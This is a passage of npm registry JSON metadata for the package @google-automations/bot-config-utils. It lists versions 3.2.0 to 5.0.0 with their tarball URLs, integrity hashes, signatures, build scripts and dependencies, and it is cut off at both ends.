Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@3.2.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"99c92ce96c7af22380843766a0d002ca5bc67ae3","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-3.2.0.tgz","fileCount":7,"integrity":"sha512-eL6S7wwDNU6tywfYz/Iz7Hsn3O6Bv3bdfut+2vMvKeKIVK5SkJoTkq8MPXeEwbVSNtsVeeO2V7msbo7+0cLKig==","signatures":[{"sig":"MEUCIQCtHwXg1jP1FZUiAyi9WVC8qnO5KLC9Yvr1B7WsT7Q1NgIgX+SGBXgmFpEswOUe8NhvBAD1SVfeuoSoCHxLFaTD8RI=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":51277,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJg7gP3CRA9TVsSAnZWagAABRMP/3743xjgPbPSyUqnEtRL\nKNitaM+u/67p5L/jOd084c6SmaFcj7DoDlQtpyuEhMeU8pN4qkA9omYdY1Ia\nRS8ykdCyNFKcFiCOy3+iuTKzO6XsfKOn5Ux4LOKPWqbuEv/02Qc/fqZSizP3\nx3EiKEY+RGqYb6epMvRyznFOIrgT9VSczwcYeshRpH19PKa8t1z1/dRfT9L7\nTCJJ4KBtZnhNpsH1QD8UfTdoLrZs/7wpiVOfPCVPiNvwnjZQsFF4s9HB+0f/\nh/9BXcojRrIDEMyFS87zivIH6I+8vcSCMZNBGOuocSh6PxUFtb/X15LYM90/\n/jJQKYMsK9ahRKlmS+dj6OKG+dmhRSLrRLc8GLQOeKEtJdnmD3rxthaIwfWW\nrIv3/uHX0dbWDZaoxqJNKJqY8RWFj+rGRiJmkcSaR1XiQVnyCL1EAqq4s+My\n4c5RwBdaH2mS3Ro2CWuvflFm2lFdRrpDsql3GPcgVA1mYnU+26unhItZKNqs\nmAxtnHPrzuk9UT43USO5rGiLh+i91W+O0O8EU6UV+GlYUP9C9MVtsa5OB2In\nCZpIBNEBptkIS/JtTiFK7jpySkueEyZr/HqlJXr+l+IM+De3kPQGbgIdX4mK\ntOAbqHIrRgNJG6ggZQCXMPak7i7tO+sEevD05oFPEOGQT8LHmIbexEbRMHJN\nRS7t\r\n=1Djt\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.6.1","js-yaml":"^4.1.0","gcf-utils":"^12.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.3","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.1.1","mocha":"^9.0.2","sinon":"^11.1.1","dotenv":"^10.0.0","cross-env":"^7.0.3","typescript":"^4.3.5","@types/chai":"^4.2.21","@types/node":"^16.3.1","@types/mocha":"^8.2.3","@types/sinon":"^10.0.2","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.4"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_3.2.0_1626211318576_0.9507915629292014","host":"s3://npm-registry-packages"}},"4.0.0":{"name":"@google-automations/bot-config-utils","version":"4.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@4.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"eb9a825c25d5c61f87f97f7e48aa2d4664d47216","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-4.0.0.tgz","fileCount":7,"integrity":"sha512-IlJCAvpWnURpt5xYOAJCfGU8s6v2AguXr+RtBSf57Lf2fARNgMkkvHXsOStvtQ4mlPur8+z7qMtNnHH5551DNw==","signatures":[{"sig":"MEUCIQCn5K1DjxeucygJEOygk760pVjZGOAb4ypeAiGtCmVvFAIgG+gaQiOZr/hiBLDGNCwf2d/VMEulytHLBid+RAr6784=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":55252,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJhEX0eCRA9TVsSAnZWagAArzgP/RfK3FETxg+Zbqh3Kwwa\ne3DjVm7SpZ13sIMkl4EFs3/QBoVRw/+ztyipUP4q/ypHl8Brh1xz1Vl7hu/u\ndCcQpMaLKv+IPiCDRD3jJs46BA6gl//fg+Dnx7Ax6RVe0/FG4HrROL0QhKDh\nRIcSY5UKww5iTOd4GAIYxfTLgtY3nmksaljwXOptr57x+dVVA22vQomktZAo\nNVR2dMV1NRfVYB2SXjuhb+KMeMe3E0aPUGexpNiPaTx6DVud2CStPq9Llka4\nM6RrlN1tWwXYj74gfuGtjEXEz4qIIal3m2ZGqtstHYIawZHcX0G5EenvFhHQ\nF+H+YkA+N0wM5av6/7yPA8Odp78VStcFuOtwPk+8E4CjAoOzCini+KD1cNvx\nfSwueZAqFAxTomawj0Q+vTkbG2/zV9MUQgnY8rzJQSXI5u6Q+BnFw0PWv5Nd\nTgiO4oKBbfQasLRKJtcSnC/f6sqDWDAzyX5hdztBQ6LK72UFDL3VTIoZfKmp\nU8L2u0kEFDfsHLUC2BKnyb+RTZEF7AlpUNcVMRTasDTdwBTzXNrLiCenChnT\nNXIS2chnFDaL/VvXJAc6ZKL6gWSNg0J//o8jNBMXn4bEUkjn5gb5qWCkErT4\nuXIPsV8Y1AI3btd3QA2/UiztB4zocgoM0+qyVxOs5DxoCgZGHvu3vt7ofWik\ndJnX\r\n=rVfk\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.14","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.4","dependencies":{"ajv":"^8.6.1","js-yaml":"^4.1.0","gcf-utils":"^12.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.3","gts":"^3.1.0","nock":"^13.1.1","mocha":"^9.0.2","sinon":"^11.1.1","dotenv":"^10.0.0","cross-env":"^7.0.3","typescript":"^4.3.5","@types/node":"^16.3.1","@types/mocha":"^9.0.0","@types/sinon":"^10.0.2","snap-shot-it":"^7.9.6"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_4.0.0_1628536094134_0.022349498074330176","host":"s3://npm-registry-packages"}},"4.0.1":{"name":"@google-automations/bot-config-utils","version":"4.0.1","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@4.0.1","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"9f327ceb81a90960e75e818f0d643d7320e967b5","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-4.0.1.tgz","fileCount":7,"integrity":"sha512-Ueeoq0WeX2+MNxeECREM4JdnnhHtuhj2wZWRUpiNURST7hAuj/vjHzWdOw3rlmnX/CLAOwgzH73Rv49XyQ67ew==","signatures":[{"sig":"MEUCIEVBDkfG19+es+p0uHFXjZrh6fp4cN425lvu8KC4Sii3AiEAr5CzA+iba6mdsDGIOoqpxxhM/uj1l7NtWLdjLBQ9vfc=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56436,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJh1zzVCRA9TVsSAnZWagAAJt0P/3UxAjKBYmSoKwjG/COW\nUhgizHGZqjjapqBXr+Q1aJwzywboi6g0OfVKzTTLQiKhpLfG6D3AYSt+daDO\n6PLQNu9sFncDICqon8D8adhlUokALM/SmUmGGrH1ZBnOyMwRDclxBC1Zt97q\nH3Zu0CBr86gasQYyhoJb1XsyylF3vBs9TDijHGDiNC3W2FoSrLT1mv9oRxkX\n+j7f4RqTXOFmZxHu9AFOl80ADR4YPDgIe6fAsYvx+lOSwnCn/0m4Mpzmf3CC\nVD9m9nYVUWApk4DxRq6x2hUHatxyEG3Amkthof4E+w5KD8GVz+mVq11jTd+2\nGcapZ2xocPRYqJXHPgYHvHwXy6qX9+AoMjy78pJnT7Y9CaDa1FK3B6TlpgcA\n5XObjrDmCVonM+g7hpS6wi0j9CfZr3x8OI/ykCQfoqEIUTD9eUVQNiEUECpI\n5UiyM2so031hqILb6oqaNRM0+pA6bCWTmlkVR2bvaQekoKPE6Ul/JIe36JYk\n/y79lj0sRAU8f2DY8Kk/Io2COI92cLJEOgKIekutaUvEFNQfi12Fk0RPA0Or\nx8XIxobHD5orF9TCO4blF2+s4STtQKZH3kwVwrM9aEaNv/uqfQVNWMs8mD/h\npNrzkrTb9MIjymtMNO/js+wXxVso107x5ic5pbCpevJBOPd3c5TmGDqH8F9V\nQEv6\r\n=jFc4\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.15","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.7","dependencies":{"ajv":"^8.8.2","js-yaml":"^4.1.0","gcf-utils":"^13.1.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.10.0","gts":"^3.1.0","nock":"^13.2.1","mocha":"^9.1.3","sinon":"^12.0.1","dotenv":"^10.0.0","cross-env":"^7.0.3","typescript":"~4.5.2","@types/node":"^16.11.10","@types/mocha":"^9.0.0","@types/sinon":"^10.0.6","snap-shot-it":"^7.9.6","@octokit/types":"^6.34.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_4.0.1_1641495765003_0.49919476730026546","host":"s3://npm-registry-packages"}},"4.0.2":{"name":"@google-automations/bot-config-utils","version":"4.0.2","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@4.0.2","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"502fb0a08a5b564ec59ca3f91a1c8687ae795b08","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-4.0.2.tgz","fileCount":6,"integrity":"sha512-wa03my3rTCUTccuIDxbAOlZdlIkYgbdhfWRhtohLpYA9csP9gn4wBgk+Jgnja200LB2T4bbbrCPN0Rp3Z6SN+w==","signatures":[{"sig":"MEYCIQDDzQKtIErDcBuN3Tl0tZatFQkbNSuva4BpO9VKtqdgawIhAPF4zETNTqs6OxolQuNCwlFzfETwtikijo53dRmvxutL","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":47220,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJiepQrACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmpcYw/9HHS2kGywuOre3OaiWaqcgwOOAGr4SEBUZ+B57Os9ci9Bb/+n\r\num7nc4qzElyhliXdqf5IY5Sj2nthlkHZDY9VwFzeBgFWIATNt+G1bJgqcSaF\r\nFryOhCeGpKlgcj6IqBkm9TWMFWdJcZXjwzE42lIzH0DOA56oZl4SoNYtcJzy\r\nL7V6ii9G1VwNpAdyIF7QK3/5uQ5VZT9emm1rMo8FbtAVtIoh4MCpCtIj6QlX\r\nBWEN9qpkiI7ScGT2aTvtOIVJsVJDWXaItCRNX+dg6qbyU3t2QHD2I7cOd6tq\r\nKXy+U2lOJXEBL9vnxyTsFibMuZSbAbg/5dNOCD8zwiRBa6oLkHrNe1J8PSfV\r\n2bC5QgyTd9Al4OC2UPkWACFE9F+0PNpMktWEHisJUxjY+mKxmdygxCNGYFFJ\r\nZCflWKiApexYp9Yg/nMSDIS6IlEncBc0BRPTTtzLMPzHaBCKeiVNJq4N6Pjz\r\nv11/2PRThCAK1cC7ocxXpm5/+eicB9K9OzH9SHYDCP2l0YMnDdgpdbL04pzg\r\nWsfcxX0afnKH6upLzItaDBV3oRCtnAwo2sDl7GtGpyah/err/tsnPnA84cOT\r\n2Ihs3Swr3IV+OQKy/j20D29edeaU7TMmQx8yp71WbYcT0CUWeCIX5x9wSbKA\r\n6G4c/ME5mBXN4IxepFgpfVhAAH9hpIII+MI=\r\n=rPYd\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 12.18.2"},"gitHead":"f66c9c9db3977313b02664349fc8e54a05ea15a9","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.1.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.13.0","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^13.5.2"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.11.2","gts":"^3.1.0","nock":"^13.2.4","mocha":"^10.0.0","sinon":"^14.0.0","dotenv":"^16.0.0","cross-env":"^7.0.3","typescript":"~4.6.4","@types/node":"^17.0.31","@types/mocha":"^9.1.1","@types/sinon":"^10.0.11","snap-shot-it":"^7.9.6","@octokit/types":"^6.34.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_4.0.2_1652200491166_0.3652362177761004","host":"s3://npm-registry-packages"}},"4.1.0":{"name":"@google-automations/bot-config-utils","version":"4.1.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@4.1.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"6fb169072122d762af70f6aa2afdd57a35b40cb5","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-4.1.0.tgz","fileCount":6,"integrity":"sha512-7s9i0Ag6YHXVYJ9mJF5ZdSIQb7B9FuUU1M9cDCvfwCHUjP/2Ep/jd8UF99ylVIl+FLmVpRHfVkANgEy2UMOQaQ==","signatures":[{"sig":"MEUCIQDGPighKRsAZ7fR1BPRs4n4fpEaoa+MHXdFFAdrkUlsuQIgedy7bJ0ueRVtb5piT254VKVzbFA5Sy+iJVSNZQf3FKg=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":55787,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJixz8qACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmqbBQ/9GGYQkdgCL0RQu6obr/Ysw/3rqWI6BsoWi/O0fM+3cNXQIXgW\r\nFIbKFwbwNUrudQal5LdqSZ8Oght3fhYTCgRrfU+QkegN0ht2Au8bMnwAOUsL\r\nYp1TMSaXjITVyaDr0CoBdub197wN5tOIupvlJ1akOsuP3fOglVn9kSsySL+Q\r\nbONskn5hoeL3SH0D9+DqIZ7hKWN7XbKx0HFU3PWaS7tvxnDpFmvK3PHcKr3b\r\nK/En4+5wteZOS8wvgu8mxNf2T6EtVEpz45Z/I8TbueCR7SpJGH18bySBzV6j\r\nPljNgLqpp38ncEq9vEMehifpDye6TjHZ998yIInepZwvlt3EC69aJhBbtXpa\r\ntCVS7pRa9eyEDNgvhuBI67GabQDORbA/FOmUSxmeiWvtj3ufAtACxOcqnqK+\r\nztb7atjHOVbLydecpKJrk/1E+N4PH3vrzXMRN1V0pCk0oj1K25NOreYMUPxn\r\ndbnpfc3BqH1x+0F++cctKAvZeCdJlrjITIUDHWOADWJROapGVwnipL6JcHcc\r\nDn4DX3r6HL81C4rGvg5HC0HUr9suxmEU0gwTkLhQMfPr/Mn4G0zLDAgvwhgg\r\nZeDRqTCKx8xG9XtE4Iv5gHmezolKMfng3OEqHD6x5mHb+6XlVjRcuYz0ddMm\r\ntymUx7JLhDbDFXAfa2WdhBfaF9QkH3iLGic=\r\n=qScY\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 12.18.2"},"gitHead":"ef326118ec723c2202b5d4c2ccf2c4621949afc4","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^13.8.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.11.3","gts":"^3.1.0","nock":"^13.2.7","mocha":"^10.0.0","sinon":"^14.0.0","dotenv":"^16.0.1","cross-env":"^7.0.3","typescript":"~4.7.4","@types/node":"^18.0.0","@types/mocha":"^9.1.1","@types/sinon":"^10.0.11","snap-shot-it":"^7.9.6","@octokit/types":"^6.35.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_4.1.0_1657225002658_0.1671736830538757","host":"s3://npm-registry-packages"}},"4.2.0":{"name":"@google-automations/bot-config-utils","version":"4.2.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@4.2.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"23883d8b7946a19dd02ca05734d925ce15c81299","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-4.2.0.tgz","fileCount":6,"integrity":"sha512-YHQCN6GpTBuOs5GI6qCrhTibV0W6PiCzWkZcsbJsa58OIX8NwlP0A3zlfUcBzemnyf6JB69SY8rrXTKcULWXUg==","signatures":[{"sig":"MEQCIFVm8APPM/Ya0XnUkk0MVwk0s6sA8xIXuwMC9chrj82CAiAbLa8WudDIPUfZh3XDmke/kF8vztE4Au3m/1jeFDHDjQ==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56319,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJi8T8eACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmpobA//csZMBT7A27pZ7ZhUOUhhgaMerynlYD/zGWJH6v4ZUmTa8vUc\r\nQYg4F/EjVj0qZMLwqH4xdTs6TVdoeqkNmWEgO2NxPJya7T4zJDm2sL2N1vjk\r\nORwEKGMSDbTA33UtWGi6b1mPDS/MqrtZeHO7Qs8OoNPaoIlnyv95J9pC9SsD\r\no+5Rij6d/rZ+uiiROWt1erkqreA/xrLgBiw1KSPJpfc/0jXntH8rWviHrixd\r\nrRQsRw1qqlFs6EiruVhVq1XRQN2AmfOwJtSMKo+WtPCQWjN8TxP1W6t2+bv3\r\n5X6/9+t9lv80I5I3E1l0VQDEiSzq0mQe64HHlYXvqAPdOXtKLMcJaMqvKBLd\r\nOIGw+xqLK9ql5lbIb5y/sGyRnpdNvcYjSWTQW9syJCfBVr2hIqxuMPET80Ks\r\nx3+CqzUDkiChRMV7BzGnoLOOO/AaPdnJbAIYiVwTMKbMnKhM8ape9LCxw/vF\r\n8+Vy1wqzhaBKQOUoivqDzuLYh+pb5hSJTv/A3/DPPoyprBAKKcXVzFlXipu3\r\nelhFW73JW5rfEO/itMMyhTefsPumA2ZqNFr5yZdyfVSvwUvgAmWBBPz2Tl9P\r\nmjgVhZiEaPKGMlh/u+/MWtp9WE3oQvmjmPoOH5ClhWOiZNibR7C4XLkhA0/M\r\n99ZQiNP755fy+LLTHvdv8Iy8FxWGZt9xS18=\r\n=fsiL\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 12.18.2"},"gitHead":"4fb36cb46792914c534f07e9e8f08933c98c87c1","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^13.8.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.11.3","gts":"^3.1.0","nock":"^13.2.7","mocha":"^10.0.0","sinon":"^14.0.0","dotenv":"^16.0.1","cross-env":"^7.0.3","typescript":"~4.7.4","@types/node":"^18.0.0","@types/mocha":"^9.1.1","@types/sinon":"^10.0.11","snap-shot-it":"^7.9.6","@octokit/types":"^6.35.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_4.2.0_1659977502554_0.26724139170442673","host":"s3://npm-registry-packages"}},"5.0.0":{"name":"@google-automations/bot-config-utils","version":"5.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@5.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"62e2b651cccdb00f8062cd9c408653dc29303a84","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-5.0.0.tgz","fileCount":6,"integrity":"sha512-fyaepV8VPCBgun+YEpSeHLEpUjBkHHx60aEs0en5Sh2wqRe9g5DADFobZnv2koZiN+HyRY45oJ0NLwEI81U+Mg==","signatures":[{"sig":"MEUCIHfIe6XZxcEV8NkdaZhvhfu01AMeIWPuPm4QdYApfE6dAiEAhhxEXimvMBc1120CWBzAtT+HBnerwEXqAv2MaJn7zRU=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56450,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJi8Uq5ACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmrvuxAAond6lBzikvSaB8K2L149BFJ3zYW2VtXTrX7KvaT+kM0OAIvT\r\nY1p+6G5mn7S5OcdwYr3ljILHLsanGI0H4ESLVRYH0iceRM+FEzi6GJpT1BQd\r\nhFbflg2T6VdPqWSV+nrlnaIiT3xGWfdy0k/GqsGGYxK3QElPVTVj/r0J0Exj\r\nTWQtOGJlPJxhyOIIiT3IvZKDm2MxHmFwvf1PIQ1EpVCF4DuHTtYuG6uwFcHA\r\nNF27Vd6wMNxlNp0dPaznIONb6HiBqoC9WeGqpyWqsSdDRDIeuYJAsLVOFhmr\r\nwWjH0FtM7oTfPn4uzpgrPKOFcFYnSq4fO7x/laQ9HabNnNFzruvmZ6NTuQkB\r\nYsmLatYR5wZi2oemYcQGaGUoiMSvR1FQnoFJrnguyaUhyPfcLfd0zHfHXf/s\r\nl+UioVw7iAxlVFWZMrq1B14ZtkzkTiM5Ocgv2gGviVEqIkVGZB5bhROoftfz\r\nXWH0F5ozPwTuyzYNhdY/WIwtCRwbESCTjivjC7YT6Q/yAEkjWoZDwJiLCd3r\r\nWSD2hDQ60d2L1SVW+srwpdRQtD+DQGh1QBgLwzNwi8EFLVdLiaVx1PVa0xB9\r\nYFpD4dIGEOjo9gUNEcFnhDVwH7ymwDn24WstsKsPQK8plXSM78aAGN3/cYzO\r\nHfCqERS7Zl3z/OuSRJgLY/2ORaN8EE3zObU=\r\n=hf9N\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 12.18.2"},"gitHead":"22f2cc8063da199100c624a4a74dd9308691e562","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^13.8.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.11.3","gts":"^3.1.0","nock":"^13.2.7","mocha":"^10.0.0","sinon":"^14.0.0","dotenv":"^16.0.1","cross-env":"^7.0.3","typescript":"~4.7.4","@types/node":"^18.0.0","@types/mocha":"^9.1.1","@types/sinon":"^10.0.11","snap-shot-it":"^7.9.6","@octokit/types":"^6.35.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_5.0.0_1659980473602_0.7833449610231111","host":"s3://npm-registry-packages"}},"6.0.0":{"name":"@google-automations/bot-config-utils","version":"6.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi 